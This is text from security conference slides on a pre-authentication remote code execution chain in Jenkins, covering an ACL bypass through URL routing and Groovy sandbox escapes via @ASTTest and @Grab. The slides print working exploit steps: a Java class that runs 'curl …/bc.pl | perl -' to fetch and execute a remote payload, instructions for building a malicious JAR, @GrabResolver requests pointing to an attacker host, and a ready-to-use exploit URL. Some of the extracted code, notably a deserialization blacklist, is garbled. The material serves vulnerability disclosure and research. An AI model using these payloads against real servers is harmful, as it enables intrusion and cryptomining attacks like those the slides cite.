Hacking Jenkins!

Orange Tsai
Orange Tsai

• Come from Taiwan
• Principal security researcher at DEVCORE
• Speaker at Black Hat US/ASIA, DEFCON, HITB, CODEBLUE...
• CTF player (Captain of HITCON CTF team and member of 217)
• Bounty hunter (Found RCE on Facebook, GitHub, Twitter, Uber...)

orange_8361
Outline

• Introduction & architecture
• The vulnerability root cause & how to exploit
  1. ACL bypass vulnerability
  2. Sandbox escape vulnerability
• Evolution of the exploit
What is Jenkins

A famous CI/CD service
What is CI/CD

Continuous Integration and Continuous Delivery
Why Jenkins

Hacker-friendly
Jenkins for hackers

- Lots of
  - source code
  - credential / GitHub token
  - computer node (Intranet!!!)
Hackers exploit Jenkins servers, make $3 million by mining Monero

Hackers exploiting Jenkins servers made $3 million in one of the biggest malicious cryptocurrency mining operations ever.
Snapchat Pays $20,000 for Vulnerable Jenkins Instances

By Eduard Kovacs on August 24, 2017

Snapchat has awarded researchers a total of $20,000 for finding exposed Jenkins instances that allowed arbitrary code execution and provided access to sensitive data.

Three months ago, Belgium-based researcher Preben Ver Eecke was analyzing Snapchat’s infrastructure when he discovered a production Jenkins instance that could be accessed with any valid Google account.

Jenkins is a self-contained, open source automation server used by developers to automate software development workflows.
Hola Chicos! Yeah i know my posts are delayed as i was flooded with other stuff. This is one of my effortless and cool hunting after Rockstar Games Angular Js Sandbox Bypass.

After few duplicates from big tech giant Microsoft i decided to hunt deep on their perimeter limits as most of internal servers are always left open with enormous bugs and patching stages are always delayed in internal applications.
Common attack vectors

• Login portal
• Known vulnerabilities
Common attack vectors

- Login portal
- Known vulnerabilities
Console Script

Type in an arbitrary Groovy script and execute it on the server. Useful for troubleshooting and diagnostics. Use the 'println' command to see the output (if you use System.out, it will go to the server's stdout, which is harder to see.) Example:

```
println(Jenkins.instance.pluginManager.plugins)
```

All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* are pre-imported.

```
def command = UnixExecJob.QUEUE + ' "cat /Users/Shared/Jenkins/tmp/groovyJob.jar\n...\n"'  
def proc = command.execute()
proc.waitFor()

println "return code: ${proc.exitValue()}'
println "stderr: ${proc.err.text}'
println "stdout: ${proc.in.text}'
```

Risultato

```
return code: 0
stderr: 
stdout: http://groovyJob.jar
```

Esegui
Common attack vectors

• Login portal

• Known vulnerabilities
Past deserialization bugs on Jenkins

November 6, 2015
What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
By @breenmachine

What?
Past deserialization bugs on Jenkins

- CVE-2015-8103 - The first deserialization bug
- CVE-2016-0788 - Bypass the blacklist by the JRMP gadget
- CVE-2016-0792 - Bypass the blacklist by the XStream
- CVE-2016-9299 - Bypass the blacklist by the LDAP gadget
- CVE-2017-1000353 - Bypass the blacklist by the SignedObject...
CVE-2015-8103

```java
/*package*/ static ClassFilter createDefaultInstance() {
    List<Pattern> patternOverride = loadPatternOverride();
    if (patternOverride != null) {
        LOGGER.log(Level.FINE, "Using user specified overrides for class blacklisting");
        return new RegExpClassFilter(patternOverride);
    } else {
        LOGGER.log(Level.FINE, "Using default in built class blacklisting");
        return new RegExpClassFilter(Arrays.asList(Pattern.compile(""\org\\.codehaus\\.groovy\\.runtime\\.*""),
                        Pattern.compile(""\org\\.apache\\.commons\\.collections\\.functors\\.*""),
                        Pattern.compile("".*\org\\.apache\\.xalan.*"")));
    }
}
```
Jenkins remoting 2.55

```
private static final String[] DEFAULT_PATTERNS = {
    "^com\.google\[].inject\[].*",
    "^com\.sun\.jndi\[].rmi\[].*",
    "^java\.rmi\[].*",
    "^org\.apache\.commons\.beanutils\[].*",
    "^org\.apache\.commons\.collections\.functors\[].*",
    "^org\.apache\.xalan\.*",
    "^org\.codehaus\.groovy\.runtime\[].*",
    "^org\.hibernate\[].*",
    "^org\.springframework\[].*",
    "^sun\.rmi\[].*",
};
```
Jenkins remoting 3.2

```java
private static final String[] DEFAULT PATTERNS = {
    "bsh[.]*", 
    "\"com\.google\.inject[.]*\"", 
    "\"com\.lclipse\.jv[.]*\"", 
    "\"com\.sun\.jndi[.]*\"", 
    "\"com\.sun\.corba[.]*\"", 
    "\"com\.sun\.javafx[.]*\"", 
    "\"com\.sun\.jpolr\.jpba\.regex[.]*\",
    "\"java\.awt[.]*\", 
    "\"java\.rmi[.]*\", 
    "\"java\.management[.]*\", 
    "\"java\.naming[.]*\", 
    "\"java\.script[.]*\", 
    "\"java\.swing[.]*\", 
    "\"org\.apache\.commons\.beanutils[.]*\", 
    "\"org\.apache\.commons\.collections[.]*functors[.]*\", 
    "\"org\.apache\.myfaces[.]*\", 
    "\"org\.apache\.wicket[.]*\", 
    "\"org\.apache\.xalan\", 
    "\"org\.codehaus\.groovy\.runtime[.]*\", 
    "\"org\.hibernate[.]*\", 
    "\"org\.python[.]*\", 
    "\"org\.springframework\{\(?(\p{Alnum})+\)\p{Alnum}\{Exception\}\}.*\", 
    "\"sun\.jrm[.]*\" 
};
```
Jenkins remoting 3.28

```java
private static final String[] DEFAULT_PATTERNS = {
    "bash\.[^\"]*\", // \n    "com\.\[google\]\.*\inject\[*\].[^\"]*\", // \n    "com\.\[j\]\.*\[/\$\]id\[*\]\]%\", // \n    "com\.\[j\]\.*\[/\$\]im\[*\]\]%\", // \n    "java\.[\$\-\/]reflect\[*\]\]%\", // \n    "java\.[\$\-\/]mi\[*\]\]%\", // \n    "javax\.[\$\-\/]management\[*\]\]%\", // \n    "javax\.[\$\-\/]annotation\[*\]\]%\", // \n    "javax\.[\$\-\/]script\[*\]\]%\", // \n    "javax\.[\$\-\/]swing\[*\]\]%\", // \n    "net\.[\$\-\/]sf\.[\$\-\/]json\[*\]\]%\", // \n    "org\.[\$\-\/]apache\.[\$\-\/]commons\[*\]\]%\", // \n    "org\.[\$\-\/]apache\.[\$\-\/]collections\[*\]\]%\", // \n    "org\.[\$\-\/]apache\.[\$\-\/]dependency\[*\]\]%\", // \n    "org\.[\$\-\/]apache\.[\$\-\/]dependency\[*\]\]%\", // \n    "org\.[\$\-\/]codehaus\.[\$\-\/]groovy\[*\]\]%\", // \n    "org\.[\$\-\/]hibernate\[*\]\]%\", // \n    "org\.[\$\-\/]jib\[*\]\]%\", // \n    "org\.[\$\-\/]j\[\$\-\/]j\[\$\-\/]j\[\$\-\/]j\[\$\-\/]j\[\$\-\/]s\", // \n    "org\.[\$\-\/]spring\[*\]\]%\", // \n    "sun\.[\$\-\/]red\[*\]\]%\", // \n    "javax\.[\$\-\/]imageio\[*\]\]%\", // \n    "java\.[\$\-\/]util\[*\]\]%\", // \n    "java\.[\$\-\/]util\[*\]\]%\", // \n    "\"java\.[\$\-\/]security\[*\]\]%\" // \n};
```
Jenkins is so angry that rewrite all the serialization protocol into a new HTTP-based protocol
No deserialization anymore

There is no more pre-auth RCE in Jenkins core since 2017
Discover new one
Reviewing scopes

1. Jenkins core
2. Stapler framework
3. Default plugins
CVEs

1. CVE-2018-1000600 - CSRF and missing permission checks in GitHub Plugin
2. CVE-2018-1000861 - Code execution through crafted URLs
3. CVE-2018-1999002 - Arbitrary file read vulnerability
4. CVE-2018-1999046 - Unauthorized users could access agent logs
5. CVE-2019-1003000 - Sandbox Bypass in Script Security and Pipeline Plugins
6. CVE-2019-1003001 - Sandbox Bypass in Script Security and Pipeline Plugins
7. CVE-2019-1003002 - Sandbox Bypass in Script Security and Pipeline Plugins
Review Java web

- Where is the configuration?
- Where is the library?
- Where is the application code?
- Where is the entry point?

```xml
<servlet>
  <servlet-name>Stapler</servlet-name>
  <servlet-class>org.kohsuke.stapler.Stapler</servlet-class>
</servlet>
...

<servlet-mapping>
  <servlet-name>Stapler</servlet-name>
  <url-pattern>/*</url-pattern>
</servlet-mapping>
```
Jenkins dynamic routing
Routing rules

get<token>()
get<token>(String)
get<token>(Int)
get<token>(Long)
get<token>(StaplerRequest)
getDynamic(String, ...)
doDynamic(...)
do<token>(...)
js<token>(...)
@WebMethod annotation
@JavaScriptMethod annotation
http://jenkins/foo/bar/1/baz/orange

```python
jenkins.model.Jenkins.getFoo()
  .getBar(1)
  .getBaz("orange")
```

Method Chain
CVE-2018-1000861

Code execution through crafted URLs
Routing Access Control List Bypass
Bypass Overall/Read permission
What’s wrong with that?

Here are two problems
First problem

Every class in Java inherits **Object** class, except Object itself
http://jenkins/class/classLoader/resource/index.jsp/content

domain.model.Jenkins.getClass()
.getClassLoader()
.getResource("index.jsp")
getContent()}
jenkins.model.Jenkins

- `getClass()`
- `getClassLoader()`
- `getResource("index.jsp")`
- `getContent()`

```
java.lang.Object
```

```
public final Class<? extends Object> getClass()
```
jenkins.model.Jenkins

.getClass()

**.getClassLoader()**

.getResource("index.jsp")

.getContent()

java.lang.Class

public ClassLoader getClassLoader()
jenkins.model.Jenkins

.java.lang.ClassLoader

public URL getResource(String name)
jenkins.model.Jenkins
    .getClass()
    .getClassLoader()
    .getResource("index.jsp")
    .getContent()

java.net.URL
    public final Object getContent()
Second problem

URL prefix whitelist bypass
private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);
URL whitelists by default

```java
private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);
```
http://jenkins/search?q=
jenkins.model.Jenkins
.getSearch()
What if there is a whitelisted method returns a **Search** object?
URL whitelists by default

```java
private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);
```
Jenkins.model.Jenkins

public SecurityRealm getSecurityRealm()
Jenkins.model.HudsonPrivateSecurityRealm

public User getUser(String id)

http://jenkins/securityRealm/user/[[name]]/

jenkins.model.Jenkins

.getSecurityRealm()

.getUser([name])
Jenkins.model.AbstractModelObject

public Search getSearch()

http://jenkins/securityRealm/user/[name]/search

jenkins.model.Jenkins

.getSecurityRealm()

.getUser([name])

.getSearch()
Search for 'a'

1. admin
2. master
3. orange
Jenkins checks the permission again before most of dangerous methods.

It’s sad (〒﹏〒)
http://jenkins/script

4424    public static void _doScript(StaplerRequest req, StaplerResponse rsp,
4425       // ability to run arbitrary script is dangerous
4426       acl.checkPermission(RUN_SCRIPTS);
Maximize the severity

Escalate to a pre-auth information leakage ✔
Escalate to a pre-auth Server Side Request Forgery ✔
Escalate to a pre-auth Remote Code Execution ?
Remote Code Execution

• CVE-2018-1000861 - Code execution through crafted URLs
• CVE-2019-1003000 - Sandbox Bypass in Script Security Plugins
What is Pipeline

Pipeline is a script to help developers more easily write scripts for software building, testing and delivering!
Pipeline is a **DSL**

Which built with Groovy
Pipeline syntax check

http://jenkins/descriptorByName
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition
/checkScriptCompile?value=[Pipeline here]
If you are the programmer

How do you implement this syntax-error-checking function?
As I said before

Pipeline is a DSL built with Groovy
No **execute()**, only **AST parse**

```java
public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}
```
Nothing happened :

```java
this.class.classLoader.parseClass(
    java.lang.Runtime.getRuntime().exec("touch pwned")
);```

I failed to exploit before

But in this time, Meta-Programming flashed in my mind
Meta-Programming is

Write programs that operate on other programs

- Compiler
- Preprocessor
- Interpreter
- Linker
- ...

Meta

Programming

is

Write programs that are able to modify other programs.

- Compiler
- Preprocessor
- Interpreter
- Linker
- ...

...
Two type

- compile-time
- Run-time
compile-time Meta-Programming

- Operate the program during compiler/parsing time
  - C Macro
  - C++ Template
  - Java Annotation
  - DSL
  - ...

```c
#define a 1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,
__int128 x[]={f,f,f,f,f,f,f,f,f};
```

$ gcc test.c -c && ls -size -h test.o
$ 2GB test.o
compile-time Meta-Programming

- Operate the program during compiler/parsing time
  - C Macro
  - C++ Template
  - Java Annotation
  - DSL
  - …

```cpp
template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}
```

Fibonacci number
compile-time Meta-Programming

- Operate the program during compiler/parsing time
  - C Macro
  - C++ Template
  - Java Annotation
  - DSL
  - ...
Groovy & Meta-Programming

Pipeline is a DSL built with Groovy
@ASTTest

What the hell is that (_;д_;)
@ASTTest

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:
@ASTTest

@ASTTest(phase=CONVERSION, value={
    assert node instanceof ClassNode
    assert node.name == 'Person'
})

class Person {}
Let's try that in local

```java
this.class.getClassLoader().parseClass(''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
class Person {} ''
'';
```
Let’s try that in local

$ ls

poc.groovy

$ groovy poc.groovy

$ ls

poc.groovy pwned
While reproducing it on remote…

It shows

What the hell is that

```
class Person {
  def print() {
    print("hello")
  }
}
```

```
http://orange.tw:8080/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@groovy.transform.ASTTest(value={ print 1 })\n"
```

```
0:
  column: -1
  line: 1
  message: "unable to resolve class org.jenkinsci.plugins.workflow.libs.Library\n"
  status: "fail"
```

What the hell is that
Root cause analysis

• Pipeline **Shared** Groovy Libraries Plugin
  • A plugin for importing customized libraries intoPipeline
  • Jenkins loads your customized library before every Pipeline execute

• The root cause is - during compile-time, there is no corresponded library in **classPath**
How to fix

Ask admin to uninstall the plugin
How to fix
Ask admin to uninstall the plugin
@Grab
@Grab(group='commons-lang', module='commons-lang', version='2.4')
import org.apache.commons.lang.WordUtils
println "Hello ${WordUtils.capitalize('world')}"
@GrabResolve

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
@GrabResolve

@GrabResolver(name='restlet', root='http://malicious.com/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
Oh, it works

220.133.114.83 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"
Import arbitrary JAR

But how to get code execution?
Dig deeper into @Grab

We start to review the Groovy implementation
void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f);
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch (ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}
void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readlines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}
Yes

We can poke the Constructor on any class!
Chain all together
public class Orange {
    public Orange() {
        try {
            String payload = "curl malicious/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}
Prepare the malicious JAR

$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange >META-INF/services/org.codehaus.groovy.plugins.Runners
$ find -type f
./Orange.java
./Orange.class
./META-INF/services/org.codehaus.groovy.plugins.Runners
$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[host]/tw/orange/poc/1/poc-1.jar
Attacking remote Jenkins!

```groovy
?value=
@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://evil/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;
```
Survey on Shodan

• It is about 75000 Jenkins servers in the wild
  • $ cat versions | sort | uniq -c | sort -n | less

  11750 - Jenkins: 2.150.1
  5473  - Jenkins: 2.138.3
  4583  - Jenkins: 2.121.3
  4534  - Jenkins: 2.138.2
  3389  - Jenkins: 2.156
  2987  - Jenkins: 2.138.1
  2530  - Jenkins: 2.121.1
  2422  - Jenkins: 2.121.2

  • 1933 - Jenkins: 2.107.3
  • 1577 - Jenkins: 2.60.3
  • 1559 - Jenkins: 2.107.2
  • 1348 - Jenkins: 2.89.4
  • 1263 - Jenkins: 2.155
  • 1095 - Jenkins: 2.153
  • 1012 - Jenkins: 2.107.1
  • 958  - Jenkins: 2.89.3
Survey on Shodan

• We suppose all installed the suggested plugins
  • Enable Overall/Read are vulnerable
  • Disable Overall/Read
    • Version > 2.138 can be chained with the ACL bypass vulnerability
• It’s about 45000/75000 vulnerable Jenkins we can hack
Evolution of the exploit

- **2018-12-05**
  - CVE-2018-1000861
  - ACL bypass fixed
  - @orange_8361

- **2019-01-08**
  - CVE-2019-1003000
  - Sandbox escape fixed (classLoader.parseClass)
  - @orange_8361

- **2019-01-16**
  - Release the blog
  - Hacking Jenkins part-1
  - @orange_8361

- **2019-01-28**
  - CVE-2019-1003005
  - Another path to reach the syntax validation fixed (GroovyShell.parse)
  - @orange_8361

- **2019-02-19**
  - Release the blog
  - Hacking Jenkins part-2 and the RCE chain
  - @0ang3el

- **2019-03-06**
  - CVE-2019-1003029
  - Another sandbox escape in GroovyShell.parse fixed
  - @orange_8361
  - @webpentest
Evolution of the exploit

• Original entry (based on `classLoader.parseClass`)
  • Meta programming is still required to obtain code execution

• New entry found by `@0ang3el` (based on `GroovyShell.parse`)
  • A more universal entry
  • The new entry is based on a higher level Groovy API
  • With more features added compared to the original API, `@webpentest` found an easier way to escape the sandbox!
More reliable exploit chain

http://jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.Secur
eGroovyScript/checkScript
?sandbox=true
&value=public class poc {
    public poc() { "curl orange.tw/bc.pl | perl -".execute() }
}

CVE-2019-1003029 by @webpentest
CVE-2019-1003005 by @0ang3el
CVE-2018-1000861 by @orange_8361
awesome-jenkins-rce-2019
Matrix users are encouraged to change their
Unauthenticated Remote Code Execution on djangoci.com

Posted by The Django Security and Operations teams on 五月 15, 2019

Yesterday the Django Security and Operations teams were made aware of a remote code execution vulnerability in the Django Software Foundation's Jenkins infrastructure, used
ImposterMiner Trojan Takes Advantage of Newly Published Jenkins RCE Vulnerability

By Fan Wu and Fengwei Zhang
ImposterMiner Trojan Takes Advantage of Newly Published Jenkins RCE Vulnerability

The attacker directly copied the payload from Jenkins vulnerabilities described in the security researcher’s Orange.tw blog. The payload itself contains the word “Orange.tw”, which may confuse security researchers to believe it is an innocent. Therefore, we have named the Trojan “ImposterMiner”.
Upgrade your Jenkins ASAP
Thanks!

orange_8361
orange@chroot.org
https://blog.orange.tw